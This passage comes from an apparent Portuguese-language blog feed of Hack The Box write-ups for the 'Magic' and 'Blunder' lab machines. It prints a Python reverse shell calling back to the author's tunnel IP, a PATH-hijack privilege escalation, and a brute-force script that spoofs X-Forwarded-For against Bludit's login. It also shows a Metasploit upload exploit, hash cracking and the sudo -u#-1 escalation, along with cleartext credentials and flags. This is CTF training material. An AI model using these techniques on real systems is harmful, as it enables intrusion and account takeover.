KEY `username` (`username`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `login` -- LOCK TABLES `login` WRITE; /*!40000 ALTER TABLE `login` DISABLE KEYS */; INSERT INTO `login` VALUES (1,&#39;admin&#39;,&#39;Th3s3usW4sK1ng&#39;); /*!40000 ALTER TABLE `login` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; Quando eu dei um cat no arquivo db.php5
Eu descobri o usuário de baixo privilegio da maquina e a senha do banco.
private static $dbUsername = &#39;theseus&#39;; private static $dbUserPassword = &#39;iamkingtheseus&#39;; Com esses dados, eu fiz um dump no banco passando os mesmos : -u (usuário) -p (senha) como uma conexão comum via banco fazendo isso eu descobri a senha do usuário..
INSERT INTO `login` VALUES (1,&#39;admin&#39;,&#39;Th3s3usW4sK1ng&#39;); www-data@ubuntu:/var/www/Magic$ su theseus su theseus Password: Th3s3usW4sK1ng theseus@ubuntu:/var/www/Magic$ só pegar a flag de user
theseus@ubuntu:/home$ cd theseus cd theseus theseus@ubuntu:~$ ls ls Desktop Downloads Pictures Templates Videos Documents Music Public user.txt theseus@ubuntu:~$ cat user.txt Para pegar o root, tem um truque do Sysinfo que pode ser encontrado na internet.
theseus@ubuntu:~$ sysinfo quando rodar esse comando, automaticamente ele trará informações do sistema por que se trata de um binário.
====================Hardware Info==================== H/W path Device Class Description ===================================================== system VMware Virtual Platform /0 bus 440BX Desktop Reference Platform /0/0 memory 86KiB BIOS /0/1 processor AMD EPYC 7401P 24-Core Processor /0/1/0 memory 16KiB L1 cache /0/1/1 memory 16KiB L1 cache /0/100/17.5 bridge PCI Express Root Port /0/100/17.6 bridge PCI Express Root Port /0/100/17.7 bridge PCI Express Root Port /0/100/18 bridge PCI Express Root Port /0/100/18.1 bridge PCI Express Root Port /0/100/18.2 bridge PCI Express Root Port /0/100/18.3 bridge PCI Express Root Port /0/100/18.4 bridge PCI Express Root Port /0/100/18.5 bridge PCI Express Root Port /0/100/18.6 bridge PCI Express Root Port /0/100/18.7 bridge PCI Express Root Port /0/46 scsi0 storage /0/46/0.0.0 /dev/cdrom disk VMware IDE CDR00 /1 system Dentro do tmp, criei uma pasta root e dentro dela criei o arquivo fdisk por que o fdisk é um dos modulos que o binário chama.
theseus@ubuntu:/tmp/root$ touch fdisk Depois exporto o path, para ser executado com a váriavel $PATH
theseus@ubuntu:/tmp/root$ export PATH=/tmp/root:$PATH Agora neste arquivo do fdisk vou jogar aquele shell reverso em python novamente
theseus@ubuntu:/tmp/root$ cat &gt; fdisk python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#34;10.10.14.15&#34;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#34;/bin/sh&#34;,&#34;-i&#34;]);&#39; Agora sim dou as permissões
chmod 755 fdisk
OBS &gt; no shell reverso coloco meu IP de tunel e porta
agora abro um novo terminal
E uso no netcat novamente para escutar na porta 1234
kali@kali:nc -nlvp 1234 volto na outra aba do terminal
e executo o path
theseus@ubuntu: sysinfo Na outra aba com o netcat ouvindo, vc vai perceber que o binário foi executado elevando seu privilégio para root
Ncat: Connection from 10.10.10.185:45410. root@ubuntu:/tmp/root# whoami whoami root ]]></content:encoded>
    </item>
    <item>
      <title>Blunder</title>
      <link>https://fxshell.com.br/htb/blunder/</link>
      <pubDate>Sun, 18 Oct 2020 01:06:42 UT</pubDate>
      <dc:creator>Felipe da Matta</dc:creator>
      <guid>https://fxshell.com.br/htb/blunder/</guid>
      <description>nmap -sV -sC -Pn -T4 -v -p- --min-rate=10000 10.10.10.191 python3 dirsearch.py -u http://10.10.10.191 -e * wfuzz -c -w /usr/share/wordlists/wfuzz/general/big.txt --hc 404,403 -u &quot;http://10.10.10.191/FUZZ.txt&quot; -t 100
******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.191/FUZZ.txt Total requests: 3024 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000002755: 200 4 L 23 W 118 Ch &#34;todo&#34; Total time: 76.03240 Processed Requests: 3024 Filtered Requests: 3023 Requests/sec.: 39.77251 gerando wordlist com palavras do site
</description>
      <content:encoded><![CDATA[nmap -sV -sC -Pn -T4 -v -p- --min-rate=10000 10.10.10.191 python3 dirsearch.py -u http://10.10.10.191 -e * wfuzz -c -w /usr/share/wordlists/wfuzz/general/big.txt --hc 404,403 -u &quot;http://10.10.10.191/FUZZ.txt&quot; -t 100
******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.191/FUZZ.txt Total requests: 3024 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000002755: 200 4 L 23 W 118 Ch &#34;todo&#34; Total time: 76.03240 Processed Requests: 3024 Filtered Requests: 3023 Requests/sec.: 39.77251 gerando wordlist com palavras do site
cewl -w wordlists.txt -d 10 -m 1 http://10.10.10.191/
deixei minha wordlist criada no /root, agora pego o script em python do brute force
Crie o arquivo chamado brute.py
Para executa-lo basta rodar o python3 brute.py
Dentro do script mude o caminho da sua wordlist, no caso a minha ficou no /root/wordlists.txt
import re import requests #from __future__ import print_function def open_ressources(file_path): return [item.replace(&#34;\n&#34;, &#34;&#34;) for item in open(file_path).readlines()] host = &#39;http://10.10.10.191&#39; login_url = host + &#39;/admin/login&#39; username = &#39;fergus&#39; wordlist = open_ressources(&#39;/root/wordlists.txt&#39;) for password in wordlist: session = requests.Session() login_page = session.get(login_url) csrf_token = re.search(&#39;input.+?name=&#34;tokenCSRF&#34;.+?value=&#34;(.+?)&#34;&#39;, login_page.text).group(1) print(&#39;[*] Trying: {p}&#39;.format(p = password)) headers = { &#39;X-Forwarded-For&#39;: password, &#39;User-Agent&#39;: &#39;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36&#39;, &#39;Referer&#39;: login_url } data = { &#39;tokenCSRF&#39;: csrf_token, &#39;username&#39;: username, &#39;password&#39;: password, &#39;save&#39;: &#39;&#39; } login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False) if &#39;location&#39; in login_result.headers: if &#39;/admin/dashboard&#39; in login_result.headers[&#39;location&#39;]: print() print(&#39;SUCCESS: Password found!&#39;) print(&#39;Use {u}:{p} to login.&#39;.format(u = username, p = password)) print() break SUCCESS: Password found! Use fergus:RolandDeschain to login. Resultado do script ^
Depois disso vc vai ver que tem uma aplicação chamada Bludit CMS rodando no site dentro do #http://10.10.10.191/admin/dashboard
Você pode procurar o exploit na internet dessa aplicação #https://www.exploit-db.com/exploits/47699
msf5 &gt; use exploit/linux/http/bludit_upload_images_exec msf5 exploit(linux/http/bludit_upload_images_exec) &gt; set TARGET 0 TARGET =&gt; 0 msf5 exploit(linux/http/bludit_upload_images_exec) &gt; set RHOSTS 10.10.10.191 RHOSTS =&gt; 10.10.10.191 msf5 exploit(linux/http/bludit_upload_images_exec) &gt; set RPORT 80 RPORT =&gt; 80 msf5 exploit(linux/http/bludit_upload_images_exec) &gt; set BLUDITUSER fergus BLUDITUSER =&gt; fergus msf5 exploit(linux/http/bludit_upload_images_exec) &gt; set BLUDITPASS RolandDeschain BLUDITPASS =&gt; RolandDeschain msf5 exploit(linux/http/bludit_upload_images_exec) &gt; exploit [-] Exploit failed: An exploitation error occurred. [*] Exploit completed, but no session was created. msf5 exploit(linux/http/bludit_upload_images_exec) &gt; options Erro encontrado ao rodar o metasploit
investigando o motivo deste erro.
Constatado erro na versão do metasploit metasploit v5.0.94-dev
a versão stable é a versão metasploit v5.0.87-dev
Essa versão no exploit do meterpreter é setado o LHOSTS automaticamente na porta 4444
msf5 exploit(linux/http/bludit_upload_images_exec) &gt; run [*] Started reverse TCP handler on 10.10.14.251:4444 [+] Logged in as: fergus [*] Retrieving UUID... [*] Uploading tmgeRqhFfL.png... [*] Uploading .htaccess... [*] Executing tmgeRqhFfL.png... [*] Sending stage (38288 bytes) to 10.10.10.191 [*] Meterpreter session 1 opened (10.10.14.251:4444 -&gt; 10.10.10.191:45134) at 2020-06-29 08:47:30 -0400 [+] Deleted .htaccess meterpreter &gt; sysinfo Computer : blunder OS : Linux blunder 5.3.0-53-generic #47-Ubuntu SMP Thu May 7 12:18:16 UTC 2020 x86_64 Meterpreter : php/linux meterpreter &gt; meterpreter &gt; shell Process 4207 created. Channel 0 created. id uid=33(www-data) gid=33(www-data) groups=33(www-data) python -c &#34;import pty;pty.spawn(&#39;/bin/bash&#39;)&#34; www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ Entrar no path abaixo e dar um cat no users.php
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php cat users.php &lt;?php defined(&#39;BLUDIT&#39;) or die(&#39;Bludit CMS.&#39;); ?&gt; { &#34;admin&#34;: { &#34;nickname&#34;: &#34;Hugo&#34;, &#34;firstName&#34;: &#34;Hugo&#34;, &#34;lastName&#34;: &#34;&#34;, &#34;role&#34;: &#34;User&#34;, &#34;password&#34;: &#34;faca404fd5c0a31cf1897b823c695c85cffeb98d&#34;, &#34;email&#34;: &#34;&#34;, &#34;registered&#34;: &#34;2019-11-27 07:40:55&#34;, &#34;tokenRemember&#34;: &#34;&#34;, &#34;tokenAuth&#34;: &#34;b380cb62057e9da47afce66b4615107d&#34;, &#34;tokenAuthTTL&#34;: &#34;2009-03-15 14:00&#34;, &#34;twitter&#34;: &#34;&#34;, &#34;facebook&#34;: &#34;&#34;, &#34;instagram&#34;: &#34;&#34;, &#34;codepen&#34;: &#34;&#34;, &#34;linkedin&#34;: &#34;&#34;, &#34;github&#34;: &#34;&#34;, &#34;gitlab&#34;: &#34;&#34;} } temos a password e os dados do usuário hugo
podemos identificar uma hash dentro de password
#$ hashid faca404fd5c0a31cf1897b823c695c85cffeb98d
se não identificar pelo comando hashid use um site para decriptografar md5
pode ser o https://md5decrypt.net/en/Sha1
#faca404fd5c0a31cf1897b823c695c85cffeb98d : Password120 essa password é do user hugo
agora eu saio do usuário de permissão do apache www-data para o usuário do Hugo
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo su hugo Password: Password120 hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ Dentro da home do hugo tenho o arquivo user.txt
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ cd ~ cd ~ hugo@blunder:~$ ls ls Desktop Downloads Pictures Templates Videos Documents Music Public user.txt hugo@blunder:~$ cat user.txt cat user.txt d837bfc74affbc6e39b91e489bb9fbb8 hugo@blunder:~$ obs&gt; auto-complete com não vai funcionar dentro do meterpreter
subindo privilegio para root hugo@blunder:~$ sudo -l sudo -l Password: Password120 Matching Defaults entries for hugo on blunder: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User hugo may run the following commands on blunder: (ALL, !root) /bin/bash hugo@blunder:~$ consigo ver o secure path local
depois disso verificar a versão da bash
hugo@blunder:~$ bash -version bash -version GNU bash, version 5.0.3(1)-release (x86_64-pc-linux-gnu) Copyright (C) 2019 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt; This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. hugo@blunder:~$ GNU bash, version 5.0.3
Pesquisei no google sudo (all root) /bin/bash
Ele deu um link do exploit-db
https://www.exploit-db.com/exploits/47502
existe um exploit de uma linha que posso especificar pelo id de usuário, no caso do hugo , para conceder a ele o root ALL
uma simples linha &gt;
hugo@blunder:~$ sudo -u#-1 /bin/bash sudo -u#-1 /bin/bash Password: Password120 root@blunder:/home/hugo# root@blunder:/home/hugo# cd /root cd /root root@blunder:/root# ls ls root.txt root@blunder:/root# cat root.txt cat root.txt c5a6c440602c9465a35ba11af04a0910 root@blunder:/root# basta entrar na home do /root
e visualizar a flag
]]></content:encoded>
    </item>
  </channel>
</rss>
